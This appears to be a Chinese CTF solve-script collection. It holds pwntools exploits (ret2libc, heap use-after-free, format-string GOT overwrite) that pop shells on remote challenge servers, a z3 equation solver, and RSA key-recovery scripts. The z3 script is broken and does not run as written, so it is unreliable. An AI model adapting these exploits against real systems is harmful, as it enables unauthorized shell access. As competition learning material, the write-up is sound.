岁末赛

岁末赛

pwn2

from pwn import *
# from LibcSearcher import *
i=remote('219.219.61.234',10001)
#sh=process('./pwn2')
elf=ELF('./pwn2')
addr=0x08048753
sm=elf.got['__libc_start_main']
p_t=elf.plt['puts']

payload1='\x00'*7 +'\xff'
i.sendline(payload1)
i.recvuntil("you_really_know_random_haha\n")

payload2=(0x6c+4)*'a'+p32(p_t)+p32(addr)+p32(sm)
i.sendline(payload2)
s_addr=u32(i.recv(4))
info(hex(s_addr))
# libc=LibcSearcher("__libc_start_main",s_addr)
libc = ELF('libc6-i386_2.23-0ubuntu11.2_amd64.so')
A=s_addr-libc.sym["__libc_start_main"]
info(hex(A))
y_addr=A+libc.sym['system']
# binsh_addr=A+libc.dump('str_bin_sh')
binsh_addr = A + 0x15910b
#payload1='\x00'*7+'\xff'
#i.sendline(payload1)
#i.recvuntil("you_really_know_random_haha")
payload2=(0x6c+4)*'a'+p32(y_addr)+p32(addr)+p32(binsh_addr)
i.sendline(payload2)
i.interactive()

pwn3

from pwn import *
#sh = process("./pwn3")
sh = remote('219.219.61.234','10002')
context.log_level = 'info'
def create(size,content):
    sh.recv()
    sh.sendline("1")
    sh.recv()
    sh.sendline(str(size))
    sh.recv()
    sh.sendline(str(content))

def delete(index):
    sh.recv()
    sh.sendline("2")
    sh.recv()
    sh.sendline(str(index))

def myprint(index):
    sh.recv()
    sh.sendline("3")
    sh.recv()
    sh.sendline(str(index))

create(8,12 * 'a')
create(16,"bbb")
delete("0")
delete("1 ")

sh.recv()
sh.sendline("1")
sh.recv()
sh.sendline("8")
sh.recv()
sh.sendline(p32(0x08048986))
myprint("0")
#log.success(sh.recv())
sh.interactive()

pwn4

from pwn import *
sh = process('./pwn4')
sh = remote('219.219.61.234','10003')
context.log_level='debug'
context(arch='amd64',os='linux')
libc = ELF('libc-2.23.so')
elf = ELF('./pwn4')
puts_got = elf.got['printf']
sh.recv()
sh.sendline('a')
sh.recv()
sh.sendline('3')
key = '3xpL0r3R'
sh.recv()
sh.sendline(str(key))
payload = 'aaaa%77$p'#6
sh.sendline(payload)
sh.recvuntil('aaaa0x')
libc_base = int(int(sh.recv(12),16) - 0x20840)
log.success(hex(libc_base))
#gdb.attach(sh)
puts_addr = libc_base + libc.sym['puts']
log.success(hex(puts_addr))
gad_get = [0x45226,0x4527a,0xf0364,0xf1207]
one_addr = libc_base + gad_get[0]
log.success(hex(one_addr))
#gdb.attach(sh)
payload = fmtstr_payload(6, {puts_got:one_addr})

sh.sendline(payload)
sh.interactive()

zzzz3333333

z3

不知道为啥我的z3模块出了问题，最后用sympy跑出来的

from z3 import *
a1=Int('a1')
a1[1]=Int('a1[1]')
a1[2]=Int('a1[2]')
a1[3]=Int('a1[3]')
a1[4]=Int('a1[4]')
a1[5]=Int('a1[5]')
a1[6]=Int('a1[6]')
a1[7]=Int('a1[7]')
a1[8]=Int('a1[8]')
a1[9]=Int('a1[9]')
a1[10]=Int('a1[10]')
a1[11]=Int('a1[11]')
a1[12]=Int('a1[12]')
a1[13]=Int('a1[13]')
a1[14]=Int('a1[14]')
a1[15]=Int('a1[15]')
a1[16]=Int('a1[16]')
a1[17]=Int('a1[17]')
a1[18]=Int('a1[18]')
a1[19]=Int('a1[19]')
a1[20]=Int('a1[20]')
a1[21]=Int('a1[21]')
a1[22]=Int('a1[22]')
a1[23]=Int('a1[23]')
a1[24]=Int('a1[24]')
a1[25]=Int('a1[25]')
a1[26]=Int('a1[26]')
a1[27]=Int('a1[27]')
a1[28]=Int('a1[28]')
a1[29]=Int('a1[29]')
a1[30]=Int('a1[30]')
a1[31]=Int('a1[31]')
a1[32]=Int('a1[32]')
a1[33]=Int('a1[33]')
a1[34]=Int('a1[34]')
a1[35]=Int('a1[35]')
a1[36]=Int('a1[36]')
a1[37]=Int('a1[37]')
s = Solver()
s.add(48 * a1[7] + (a1[5] << 6) + 4 * a1[4] + 59 * a1[1] + 85 *a1 + 76 * a1[2] + 65 * a1[3] + 50 * a1[6] + 11 * a1[8] + 66 * a1[9] == 44858 )   
s.add( 96 * a1[7]+ 6 * a1[6]
     + 97 * a1[4]
     + 71 * a1[1]
     + 87 * a1
     + 26 * a1[2]
     + 80 * a1[3]
     + 100 * a1[5]
     + 20 * a1[8]
     + 46 * a1[9] == 54177 )   
s.add ( 82 * a1[8]
     + 29 * a1[7]
     + 54 * a1[4]
     + 22 * a1[1]
     + 27 * a1
     + 92 * a1[2]
     + 9 * a1[3]
     + 35 * a1[5]
     + 36 * a1[6]
     + 90 * a1[9] == 40412 )   
s.add ( 60 * a1[7]
     + 31 * a1[5]
     + 47 * a1
     + 32 * a1[1]
     + 55 * a1[2]
     + 17 * a1[3]
     + 70 * a1[4]
     + 10 * a1[6]
     + 34 * a1[8]
     + 25 * a1[9] == 32362 )    
s.add( 53 * a1[7]
     + 89 * a1[6]
     + 13 * a1[4]
     + 72 * a1[3]
     + 49 * a1[1]
     + 18 * a1
     + 61 * a1[2]
     + 3 * a1[5]
     + 67 * a1[8]
     + 15 * a1[9] == 37176 )   
s.add ( 78 * a1[8]
     + 38 * a1[5]
     + 69 * a1[2]
     + 77 * a1
     + 16 * a1[1]
     + 99 * a1[3]
     + 33 * a1[4]
     + 8 * a1[6]
     + 5 * a1[7]
     + 91 * a1[9] == 42742 )   
s.add ( 62 * a1[8]
     + 52 * a1[7]
     + 58 * a1[2]
     + 45 * a1[1]
     + 40 * a1
     + 51 * a1[3]
     + 24 * a1[4]
     + 95 * a1[5]
     + 19 * a1[6]
     + 94 * a1[9] == 47553 )  
s.add ( 28 * a1[8]
     + 63 * a1[7]
     + 12 * a1[6]
     + 57 * a1[4]
     + 30 * a1[3]
     + 42 * a1[2]
     + a1[1]
     + 88 * a1
     + 83 * a1[5]
     + 73 * a1[9] == 41059 )    
s.add ( 41 * a1[8]
     + 93 * a1[6]
     + 68 * a1[5]
     + 98 * a1[2]
     + 75 * a1[1]
     + 39 * a1
     + 86 * a1[3]
     + 14 * a1[4]
     + 23 * a1[7]
     + 7 * a1[9] == 43919 )    
s.add( 56 * a1[8] + 74 * a1[5] + 43 * a1[4] + 84 * a1[3] + 44 * a1[2] + 37 * a1 + 81 * a1[1] + 2 * a1[6] + 21 * a1[9] == 35933 )    
s.add( 36 * a1[16]
     + 98 * a1[14]
     + 79 * a1[10]
     + 97 * a1[11]
     + 33 * a1[12]
     + 60 * a1[15]
     + 24 * a1[17]
     + 78 * a1[18]
     + 72 * a1[19] == 47783 )  
s.add( 74 * a1[17]
     + 39 * a1[16]
     + 51 * a1[15]
     + 8 * a1[14]
     + 77 * a1[13]
     + 69 * a1[12]
     + 16 * a1[11]
     + 73 * a1[10]
     + (a1[18] << 6)
     + 28 * a1[19] == 44266 )  
s.add( 47 * a1[18]
     + 52 * a1[17]
     + 53 * a1[16]
     + 99 * a1[15]
     + a1[14]
     + 38 * a1[13]
     + 67 * a1[12]
     + 45 * a1[11]
     + 61 * a1[10]
     + 66 * a1[19] == 44988 )    
s.add( 5 * a1[17]
     + 4 * a1[13]
     + 89 * a1[12]
     + 31 * a1[10]
     + 11 * a1[11]
     + 93 * a1[14]
     + 3 * a1[15]
     + 84 * a1[16]
     + 65 * a1[18]
     + 100 * a1[19] == 46698 )  
s.add( 82 * a1[16]
     + 62 * a1[13]
     + 58 * a1[12]
     + 42 * a1[11]
     + 86 * a1[10]
     + 85 * a1[14]
     + 27 * a1[15]
     + 43 * a1[17]
     + 15 * a1[18]
     + 26 * a1[19] == 45689 )    
s.add( 22 * a1[16]
     + 34 * a1[13]
     + 2 * a1[12]
     + 23 * a1[11]
     + 46 * a1[10]
     + 29 * a1[14]
     + 48 * a1[15]
     + 35 * a1[17]
     + 19 * a1[18]
     + 70 * a1[19] == 27224 )    
s.add( 96 * a1[18]
     + 81 * a1[17]
     + 92 * a1[15]
     + 54 * a1[14]
     + 94 * a1[11]
     + 57 * a1[10]
     + 55 * a1[12]
     + 80 * a1[13]
     + 71 * a1[16]
     + 25 * a1[19] == 58395 )   
s.add( 13 * a1[17]
     + 75 * a1[13]
     + 21 * a1[11]
     + 59 * a1[10]
     + 56 * a1[12]
     + 50 * a1[14]
     + 41 * a1[15]
     + 44 * a1[16]
     + 40 * a1[18]
     + 49 * a1[19] == 40625 )   
s.add( 12 * a1[16]
     + 91 * a1[14]
     + 88 * a1[13]
     + 87 * a1[12]
     + 68 * a1[10]
     + 7 * a1[11]
     + 83 * a1[15]
     + 20 * a1[17]
     + 32 * a1[18]
     + 37 * a1[19] == 45008 )   
s.add( 10 * a1[17]
     + 18 * a1[16]
     + 9 * a1[15]
     + 6 * a1[14]
     + 76 * a1[10]
     + 14 * a1[11]
     + 17 * a1[12]
     + 90 * a1[13]
     + 63 * a1[18]
     + 30 * a1[19] == 32400 )    
s.add( 83 * a1[26]
     + 45 * a1[25]
     + 4 * a1[24]
     + 48 * a1[22]
     + 38 * a1[20]
     + 22 * a1[21]
     + 7 * a1[23]
     + 62 * a1[27]
     + 25 * a1[28]
     + 85 * a1[29] == 37450 )   
s.add( 14 * a1[28]
     + 86 * a1[26]
     + 93 * a1[25]
     + 42 * a1[24]
     + 94 * a1[21]
     + 70 * a1[20]
     + 58 * a1[22]
     + 40 * a1[23]
     + 76 * a1[27]
     + 11 * a1[29] == 48740 )   
s.add( 72 * a1[28]
     + 46 * a1[26]
     + 92 * a1[25]
     + 98 * a1[24]
     + 55 * a1[23]
     + 80 * a1[20]
     + 32 * a1[21]
     + 12 * a1[22]
     + 84 * a1[27]
     + 27 * a1[29] == 53599 ) 
s.add( 53 * a1[27]
     + 49 * a1[23]
     + 99 * a1[22]
     + 41 * a1[20]
     + 20 * a1[21]
     + 87 * a1[25]
     + 81 * a1[26]
     + 71 * a1[28]
     + 73 * a1[29] == 52140 ) 
s.add ( 68 * a1[28]
     + 61 * a1[21]
     + 28 * a1[20]
     + 91 * a1[22]
     + 31 * a1[23]
     + 67 * a1[24]
     + 15 * a1[25]
     + 44 * a1[26]
     + 6 * a1[27]
     + (a1[29] << 6) == 44449 )
s.add( 9 * a1[27]
     + 60 * a1[25]
     + 96 * a1[23]
     + 17 * a1[20]
     + 10 * a1[21]
     + 29 * a1[22]
     + 5 * a1[24]
     + 100 * a1[26]
     + 21 * a1[28]
     + 69 * a1[29] == 35276 )
s.add( 59 * a1[26]
     + 66 * a1[25]
     + 23 * a1[22]
     + 8 * (a1[20] + 3 * a1[21])
     + 16 * a1[23]
     + 56 * a1[24]
     + 90 * a1[27]
     + 36 * a1[28]
     + 39 * a1[29] == 35577 ) 
s.add( 35 * a1[25]
     + 65 * a1[23]
     + 63 * a1[22]
     + 75 * a1[20]
     + 88 * a1[21]
     + 33 * a1[24]
     + 82 * a1[26]
     + 18 * a1[27]
     + a1[28]
     + 37 * a1[29] == 42004 )
s.add( 54 * a1[28]
     + 57 * a1[27]
     + 43 * a1[24]
     + 74 * a1[21]
     + 19 * a1[20]
     + 51 * a1[22]
     + 13 * a1[23]
     + 79 * a1[25]
     + 3 * a1[26]
     + 26 * a1[29] == 35802 )
s.add( 34 * a1[28]
     + 50 * a1[27]
     + 78 * a1[26]
     + 52 * a1[25]
     + 77 * a1[24]
     + 95 * a1[23]
     + 30 * a1[22]
     + 89 * a1[20]
     + 2 * a1[21]
     + 97 * a1[29] == 54527 )
s.add( 46 * a1[36] + 73 * a1[34] + 15 * a1[30] + 16 * a1[31] + 41 * a1[32] + 94 * a1[33] + 28 * a1[35] + 45 * a1[37] == 34469 )

s.add( 82 * a1[36] + 10 * a1[32] + 48 * a1[31] + 65 * a1[30] + 6 * a1[33] + 30 * a1[34] + 27 * a1[35] + 32 * a1[37] == 31558 )
  
s.add( 62 * a1[36] + 39 * a1[35] + 36 * a1[33] + 97 * a1[31] + 52 * a1[30] + 70 * a1[32] + 13 * a1[34] + 66 * a1[37] == 41820 )
    
s.add( 44 * a1[34] + 42 * a1[33] + 78 * a1[32] + 83 * a1[31] + 96 * a1[30] + 4 * a1[35] + 9 * a1[36] + 51 * a1[37] == 38668 )
    
s.add( 79 * a1[36] + 37 * a1[33] + 92 * a1[30] + 18 * a1[31] + 86 * a1[32] + 7 * a1[34] + 95 * a1[37] == 45530 )

s.add( 71 * a1[36] + 43 * a1[35] + 57 * a1[34] + 49 * a1[33] + 88 * a1[32] + 61 * a1[30] + 24 * a1[31] + 91 * a1[37] == 51396 )
    
s.add( 34 * a1[36] + 75 * a1[35] + 35 * a1[32] + 23 * a1[30] + 3 * a1[31] + 53 * a1[33] + 14 * a1[34] + 47 * a1[37] == 28874 )
    
s.add( 22 * a1[36] + 84 * a1[35] + 26 * a1[34] + 90 * a1[33] + 99 * a1[30] + 98 * a1[31] + 25 * a1[32] + a1[37]==38231 )

solver.check()
result = solver.model()
 
flag = ''
for i in range(0,36):
    flag += chr(result[a[i]].as_long().real)
print (flag)

名字没想好

前一部分

from Crypto.Util.number import *
import gmpy2

e = 103738
# e = 2*27361
n =  24511956296934419790810802924028121267308277322350201914243748724443965915830044792139346496470216715543376102606906727287935669186132061565360428924230740995935556111187855700300365517739695893842582114724005232045077425187550801509268664723237890122110051088839310003135672964413501812829310021228720112275276180469100308793523051405119335989674132224715582989624204590983857159312466387546505666052162775188773736419909262619409755848412558718676873188073997893894862353873441073313610102773845304906678909624700529896455885309546409645526387707907518497436045821973310653257012148438207441605902771515486273283273
gift = 12255978148467209895405401462014060633654138661175100957121874362221982957915022396069673248235108357771688051303453363643967834593066030782680214462115370497967778055593927850150182758869847946921291057362002616022538712593775400754634332361618945061055025544419655001567836482206750906414655010614360056137481173664901476116870144816992211793902146834987166288769615612767704010592138813256140678199511291489394523989294805910740127557682458229594376211232977501267410539674224065875285801753027816046254818608535462445306054117075379711073762930279723764342988824053970592468109679774789092077979655857748513636834
c = 7357116532209949285136310518084676100522798730487701269950303460540634127932201594120600757671807456790592531487713433579926404640474277692592102315472760853853767347752080563508622523821339163225554653816787201616233932746815764392729597579461985789538131853246938443458331139199802764554726447278501492140335824365867574318693890007499638038064582031311613039571335453968072426153706431456149868515230310567240569544961967582304893471240728585336273245259533905230737876248875784828430507371662455796543123714325161987112223947057481814610592300979207673818538093532100233028106442070524965861451563388404227738574
# gift = 8 * 11 * 97 * 9601 * 26057167557433418766727399341516665922795024485718296827775927226598694152064298989740080209950805089159979564300359652085874056289167084685303669920341402021998569251561854184586912056788515477034039863935829715784489123437315798902409373317578932823488000322365526936227790036245092665207472438169954702748857842187299166976320465787901470261800372425345547560303561842376571751928531743505412746346436473024093575122041981043859827477404447458211341273671273506575488189374812217939984540494633634622813448773520886788206836310702581026986331011987344147901504555559723572981774237352245997308787165273589

print(len(bin(gift)[2:]))
print(len(bin(n)[2:]))

# gift * gcd = (p-1) * (q-1)
# gift % gcd = 0
for gcd_val in range(4, 8):
    phi = gift * gcd_val
    try:
        d = gmpy2.invert(e // 2, phi)
        m_2 = pow(c, int(d), n)
        flag = long_to_bytes(gmpy2.isqrt(m_2))
        print(flag)
    except ZeroDivisionError:
        continue

后一部分

import gmpy2
import Crypto.Util.number
import sympy
d =  14519297697723031496224953772301033569165883208616356699837703756220717249229195213146695656923357394378868735444167631602696573904678412172248043414276910206086892084385988564720914312238316434518024995169814463252129242492227202678878240875905293369168263909256455159691392124769949072754243536472227070447391890140409479709945084894060833468804156778720190688101601664725009609222256314873780002770605127043596912060811904733471592387441742111474341938658516761896926403628885365926903655309306738689809023277824030268579979837642613499180913999651379232105756338399243024739524553588216117189742912479604441636257
#d = 14519297697723031496224953772301033569165883208616356699837703756220717249229195213146695656923357394378868735444167631602696573904678412172248043414276910206086892084385988564720914312238316434518024995169814463252129242492227202678878240875905293369168263909256455159691392124769949072754243536472227070447391890140409479709945084894060833468804156778720190688101601664725009609222256314873780002770605127043596912060811904733471592387441742111474341938658516761896926403628885365926903655309306738689809023277824030268579979837642613499180913999651379232105756338399243024739524553588216117189742912479604441636257
#c = 23574157314515030841894399693996910252287747536395985840285410194536546768646580704111053676040921830550019965767796038280932469005359270920519250763405535872475345625907947986452218739530197421244240070129909526493952916306821311836861766221812155261751444946282559677005557815746813525162411907545113665605490915464367483833005576787591204417525937745572210195816236947103271664048065491627347939268785403334419989160034526164012966888952162714736497312282011026789187871221751240709801544484784941178786820290118585681595783245449236394480319395321877182096839866054466492123200354772280398476167002177544154960579
c =  23574157314515030841894399693996910252287747536395985840285410194536546768646580704111053676040921830550019965767796038280932469005359270920519250763405535872475345625907947986452218739530197421244240070129909526493952916306821311836861766221812155261751444946282559677005557815746813525162411907545113665605490915464367483833005576787591204417525937745572210195816236947103271664048065491627347939268785403334419989160034526164012966888952162714736497312282011026789187871221751240709801544484784941178786820290118585681595783245449236394480319395321877182096839866054466492123200354772280398476167002177544154960579
e = 0x10001
# 有 c d e 我们知道e*d = 1 %(p-1)(q-1) 则e*d-1 = k* （p-1)*(q-1）
# 可以爆破k要得到(p-1)(q-1)
#取k的范围 ed - 1是2063到2064位 、 （p-1）（q-1）是1024+1024位 则k取2**15~2**16 
for i in range(1000,3000):
    if e*d-1 > 2**i and e*d-1<2**(i+1):
        print(i)
        break
        #2063
# (e*d-1)对k的模为0
# 我们还知道q是p的下一个素数 俩者大小相差不大  
for k in range(2**14,2**16):
    if (e*d-1) % k==0:
        p = sympy.prevprime(gmpy2.iroot((e*d-1)//k,2)[0])    
        #通过sympy.prevprime(n)得到小于n的最大素数 
        #gmpy2.iroot开方函数输出的是一个元组
        q = gmpy2.next_prime(p)
        # print(q)
        # print(p)
        if (e*d-1)//k == (q-1)*(p-1):
            #验证pq是否正确
            break
n = q * p
print(n)
m = pow(c ,d ,n )
#print(byte1s.fromhex(hex(m)[2:]))
import binascii
print(binascii.unhexlify(hex(m)[2:]))
#print(Crypto.Util.number.long_to_bytes(m))

Merry_Christmas

import gmpy2
from gmpy2 import *
from Crypto.Util.number import *
n=17539423546879883396629573776616418986256902147283732214295946312835113344061142956076117932720247053739715326040027048199629442201144987405090572982720131052885163184811793669071684926986445262835990861167700118224153436202178098707759605979066475651999711718728200184335695206586643579499656822346329750835696158561669170301767928780361376643304324731146650458384564533895090608529488304659924485356518526226061081943815971670656857778229528022465452008890430046982169571771039198877713729197033434033303723925335811353531172899520232033290866272195248554656110282928669639257994965701208856346298076998993772423097
c=5560694632613114538708358450844738346732427106497566176686415566542021811907746171660858360055720615188679328728275250111979427060322426593068123630729075838980217642604281020733578019517061369665467249555496690538379316251258553434263030485822069081031041121329559075841297923650799241347196473466430248261213536319894271629049899379974582453405472218720572088937075254938460083046946717784821298765199164644879680847984441166684509290675197526982405556980540919856072198191306527746754844792294221564010770506298266272017613487725494001276623402987809305696759434595799863487759478902384039066714073292949058853003
n1=21465819616864492551767155722996412718832402997933699784091937387760830726039866762857450959675228856561597024318920734312362144261628290737563681759442171285581931041622345778933572673367607809994811354957971820829401430301563611970709279094237597394734599103937206689348004861322161582747568764567491894069565665829828570957338594421227530701263883322496237907509301547209937444268813162260988374157151529111924866290775985684107622034449136081744171954609262107449388993051611516007232903948144186151363436032658716266030263647775582015141329829060294352706551807295555026827381280240539020513044515406829846588787
c1=19585478304129650368934167685581947379018238627360258251578178648406399091655911309790559870365866290321783969820131014958701556570645863667895395615377725655139970869868226237575462206775170966585306390686724869174973947234608655786245191308423334769172394586099003865664934720651493266130413617892286830586179842568659758155132923079476873190047514962385696606866440573294836559927597496331643346032100075257329902065785369011323134807157288931237650262052445952481912276967263237183320639027956890814569212814115581834172475173790422964999583755677956698930811772293980516268488171908878145019531149798750799613142
gift1=21073862899796816496314528055339279280335681203948249072101881208021752125789533267427994742277358208178070970462447090818216561770563907183494712376741842209323406667050344266668347773728401520981152006053958337605219297650281680615939792818684114311810254344598007357629176456353064311734075462353266893546853648829947081541158912147691654438830914577857503519080776224006347318623082457516638594584206488534978134212723395494600005197454325625290580653432901204502054226866606652982669196910942405139803194404497913820850500332680877820694279428529873469583387698995104411071804749202120283361058269192420218572231
gift2=7634352822409241151514235360777296908269419654786551951076299092182838191720014827302929726661609788893676185300000003824161794580145215813570705896440007085639728197111313542046542236060921056046727832889041640187683808320443684484085665265794806366182119574554965179974119587542057100849953753232435527244682735108194058759240757296546820383552711669453408694460188770050594702462736564767783116432265746800810795602828775783509056534518928775187835786128676790426643882842096826044057116388930041087679950264956074503205229333151001519229166174531496272703271636344792947552939606533888390978361247276796123693665

t1=pow(gift1,691,n1)
t2=pow(gift2,587,n1)
x1=t1-t2
x2=t2-t1
xx = gmpy2.gcd(x2,n1)
p1=xx
#p1 = 111260936618891036068652208614496645952776413871721160526197362367054114767347494528257565447229196035984168278796498545668532710414950556409048002275825950676900234517459096095264009412617416429176073580216701699837149712564123810225413587649986801062654943062839747848949602864178056960224292368694023834399
e1 = 979691
q1 = n1//p1
p1 = mpz(p1)
q1 = mpz(q1)
e1 = mpz(e1)
phi1 = (q1-1) * (p1-1) 
d1 = gmpy2.invert(e1, phi1)
p = pow(c1,d1,n1)
print(p)

q = n//p
#print(isPrime(p))
#print(isPrime(q))
e = 65537
p = mpz(p)
q = mpz(q)
e = mpz(e)
phi = (p - 1) * (q - 1)
d = gmpy2.invert(e, phi)
m = pow(c,d,n)

print(long_to_bytes(m))